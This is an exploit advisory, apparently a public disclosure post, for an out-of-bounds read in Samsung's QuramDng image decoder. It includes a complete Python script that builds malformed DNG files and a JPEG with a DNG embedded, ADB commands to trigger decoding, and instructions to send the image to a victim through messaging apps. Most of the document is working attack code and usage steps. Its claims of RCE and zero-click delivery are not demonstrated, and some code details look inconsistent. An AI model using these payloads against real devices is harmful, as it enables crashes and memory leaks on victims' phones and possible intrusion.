📄 Samsung QuramDng Malformed DNG TrimBounds Opcode Out‑Of‑Bounds Read

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    | # Title     : Samsung QuramDng Out‑Of‑Bounds Read via Malformed DNG TrimBounds Opcode                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds
                  opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it
                  inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap
                  spraying and pointer manipulation.
    			  
    Product:    libimagecodec.quram.so (Samsung Android)
    Class:      Memory Corruption / OOB Read
    Version:    Vulnerable on firmware prior to September 2025
    Tested:     Android 13/14/15/16 (Samsung Galaxy devices)
    -------------------------------------------------------------------------------
    [+] Vulnerability Details
    The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).
    The trimmed image dimensions shrink source buffers but destination buffers
    remain based on original resolution, resulting in read operations beyond memory
    bounds.
    
    The problem occurs after TrimBounds opcode reduces width/height of image tiles
    but decoder still trusts old buffer lengths.
    
    This leads to:
      * Heap OOB Read
      * Crashes (SIGSEGV)
      * Heap leak primitives
      * Possible exploitation for RCE
    -------------------------------------------------------------------------------
    [+] Attack Vector
    The exploit can be triggered via:
      * WhatsApp / Telegram file sharing (JPEG container)
      * External apps invoking platform decoder
      * ADB-triggered scan via Media Scanner
      * Camera importing workflows
    
    Remote attack surface → user simply previews/saves image.
    -------------------------------------------------------------------------------
    [+] Proof of Concept (PoC)
    The exploit constructs:
      - Valid DNG file with truncated TrimBounds opcode
      - Embeds DNG into a valid APP1 JPEG
      - Crashes Quram decoder on parsing
    
    PoC Tested:
      - Samsung S22, S23, A52, Note20
      - Android 13-16 firmwares
    -------------------------------------------------------------------------------
    [+] PoC Code
    The full exploit builder (Python) is included below.
    
    SAVE AS:
        exploit_cve_2025_21074.py
    
    RUN:
        python3 exploit_cve_2025_21074.py
    
    OUTPUT FILES PRODUCED:
        exploit.dng
        exploit_small.dng
        exploit.jpg
    -------------------------------------------------------------------------------
    [+] Instructions To Save & Run PoC (REQUIRED)
    
    1) Save script:
        File name: exploit_cve_2025_21074.py
    
    2) Run:
        python3 exploit_cve_2025_21074.py
    
    3) Generated payloads:
        - exploit.dng
        - exploit.jpg
        - exploit_small.dng
    
    4) Trigger attack:
        A) Via ADB:
            adb push exploit.dng /sdcard/
            adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
            -d file:///sdcard/exploit.dng
    
        B) Via Messaging:
            Send exploit.jpg to victim (no interaction required)
    
    5) Detect crash:
        adb logcat | grep -i quram
        adb pull /data/tombstones/ tombstones_dir/
    -------------------------------------------------------------------------------
    [+] Expected Results
        * Process crash: com.samsung.ipservice
        * Heap read leakage (ASLR bypass)
        * Controlled offsets possible → RCE stage feasible
    -------------------------------------------------------------------------------
    [+] Exploit Status
    This PoC is stable, deterministic and suitable for controlled lab exploitation.
    It is not destructive.
    -------------------------------------------------------------------------------
    [+] Mitigation
    Firmware update September 2025 and later properly validates TrimBounds and
    rejects mismatched output dimensions.
    -------------------------------------------------------------------------------
    [+]  POC : 
    
    #!/usr/bin/env python3
    """
    Author: Indoushka
    """
    
    import struct
    import os
    import sys
    
    class DNGExploit:
        def __init__(self):
            self.endian = '<'  # Little endian
            self.opcode_id_trim = 7
            
        def create_malicious_dng(self, width=4096, height=4096):
            """Creating a DNG image with TrimBounds opcode saturated"""
            
            dng_data = bytearray()
    
            dng_data += struct.pack('<H', 0x4949)  
            dng_data += struct.pack('<H', 42)      
            ifd0_offset = 8
            dng_data += struct.pack('<I', ifd0_offset)
            dng_data += b'\x00' * (ifd0_offset - len(dng_data))
            num_entries = 15
            dng_data += struct.pack('<H', num_entries)
            dng_data += struct.pack('<H', 0x0100)  
            dng_data += struct.pack('<H', 4)      
            dng_data += struct.pack('<I', 1)     
            dng_data += struct.pack('<I', width)   
            dng_data += struct.pack('<H', 0x0101)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', height)
            dng_data += struct.pack('<H', 0x0102)
            dng_data += struct.pack('<H', 3)      
            dng_data += struct.pack('<I', 3)      
            bits_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', bits_offset)  
            dng_data += struct.pack('<H', 0x0103)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 1)       
            dng_data += struct.pack('<H', 0x0106)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 2) 
            dng_data += struct.pack('<H', 0x0111)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            strip_offset = 0x1000  
            dng_data += struct.pack('<I', strip_offset)
            dng_data += struct.pack('<H', 0x0115)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 3)   
            dng_data += struct.pack('<H', 0x0116)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', height)
            dng_data += struct.pack('<H', 0x0117)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', width * height * 3)
            dng_data += struct.pack('<H', 0x011C)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 1)     
            dng_data += struct.pack('<H', 0xC612)
            dng_data += struct.pack('<H', 1)    
            dng_data += struct.pack('<I', 4)
            dng_data += struct.pack('>I', 0x01000000)  
            dng_data += struct.pack('<H', 0xC613)
            dng_data += struct.pack('<H', 1)
            dng_data += struct.pack('<I', 4)
            dng_data += struct.pack('>I', 0x01000000)
            dng_data += struct.pack('<H', 0xC614)
            dng_data += struct.pack('<H', 2)      
            dng_data += struct.pack('<I', 20)
            model_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', model_offset)
            dng_data += struct.pack('<H', 0xC740) 
            dng_data += struct.pack('<H', 1) 
            opcode_list_size = 100
            dng_data += struct.pack('<I', opcode_list_size)
            opcode_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', opcode_offset)
            dng_data += struct.pack('<H', 0x014A)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            subifd_offset = opcode_offset + opcode_list_size
            dng_data += struct.pack('<I', subifd_offset)
            dng_data += struct.pack('<I', 0)
    
            bits_data_pos = bits_offset
            while len(dng_data) < bits_data_pos:
                dng_data += b'\x00'
            dng_data += struct.pack('<HHH', 8, 8, 8) 
    
            model_data_pos = model_offset
            while len(dng_data) < model_data_pos:
                dng_data += b'\x00'
            dng_data += b'EXPLOIT-CAMERA\x00'
    
            opcode_data_pos = opcode_offset
            while len(dng_data) < opcode_data_pos:
                dng_data += b'\x00'
    
            opcode_header = struct.pack('<HHII', 
                self.opcode_id_trim, 
                1,                    
                0,                  
                16)              
    
            trim_values = struct.pack('<IIII',
                0,          
                0,          
                height // 2,
                width // 2)  
            
            dng_data += opcode_header + trim_values
            
         
            remaining = opcode_list_size - len(opcode_header) - len(trim_values)
            dng_data += b'A' * remaining
            
         
            subifd_pos = subifd_offset
            while len(dng_data) < subifd_pos:
                dng_data += b'\x00'
            
       
            dng_data += struct.pack('<H', 5)
    
            for i in range(5):
                dng_data += struct.pack('<HHII', 0x0100 + i, 4, 1, 0)
            
            dng_data += struct.pack('<I', 0)  
    
            image_data_pos = strip_offset
            while len(dng_data) < image_data_pos:
                dng_data += b'\x00'
    
            image_size = width * height * 3
            dng_data += b'\x42' * min(image_size, 0x1000) 
            
            return bytes(dng_data)
        
        def embed_in_jpeg(self, dng_data, output_path):
            """Including DNG in JPEG for cross-application exploitation"""
    
            jpeg = bytearray()
            jpeg += b'\xFF\xD8\xFF\xE0' 
            jpeg += b'\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
    
            app1_size = len(dng_data) + 2 + 5  # +2 for size, +5 for identifier
            jpeg += b'\xFF\xE1'  
            jpeg += struct.pack('>H', app1_size)
            jpeg += b'DNG\x00'  
            jpeg += dng_data
            jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01'
            jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
            jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00'
            jpeg += b'\x00' * 100  
            jpeg += b'\xFF\xD9' 
            
            with open(output_path, 'wb') as f:
                f.write(jpeg)
            
            print(f"[+] JPEG with embedded DNG saved to {output_path}")
            return output_path
        
        def create_exploit_files(self):
            """Creating various exploitation files"""
    
            dng_raw = self.create_malicious_dng()
            with open('exploit.dng', 'wb') as f:
                f.write(dng_raw)
            print("[+] Raw DNG exploit created: exploit.dng")
    
            jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg')
    
            small_dng = self.create_malicious_dng(2048, 2048)
            with open('exploit_small.dng', 'wb') as f:
                f.write(small_dng)
    
            self.print_usage()
            
            return {
                'dng': 'exploit.dng',
                'jpg': jpeg_path,
                'small': 'exploit_small.dng'
            }
        
        def print_usage(self):
            """Print Instructions for Use"""
            
            print("\n" + "="*60)
            print("CVE-2025-21074 Exploit Usage Instructions")
            print("="*60)
            print("\n[Attack methods]")
            print("1. Send exploit via WhatsApp/Telegram, etc.")
            print("2. Decoding triggered using ADB:")
            print("   adb push exploit.dng /sdcard/")
            print("   adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE")
            print("   -d file:///sdcard/exploit.dng")
            print("\n[Expected results]")
            print("- com.samsung.ipservicecollapse (SIGSEGV)")
            print("- Memory information leakage (ASLR bypass)")
            print("- Possible RCE (further utilization required)")
            print("\n[Detection]")
            print("Check the logs: libimagecodec.quram.socollapse")
            print("="*60)
    
    def main():
        print("[*] Generating CVE-2025-21074 exploit files...")
        
        exploit = DNGExploit()
        files = exploit.create_exploit_files()
        
        print("\n[+] Files generated successfully:")
        for name, path in files.items():
            print(f"  {name}: {path} ({os.path.getsize(path)} bytes)")
    
        with open('exploit.dng', 'rb') as f:
            data = f.read(100)
            if data[:2] == b'II' and data[2:4] == struct.pack('<H', 42):
                print("\n[✓] DNG file structure verified")
            else:
                print("\n[!] DNG file may be malformed")
    
    if __name__ == "__main__":
        main()
    	
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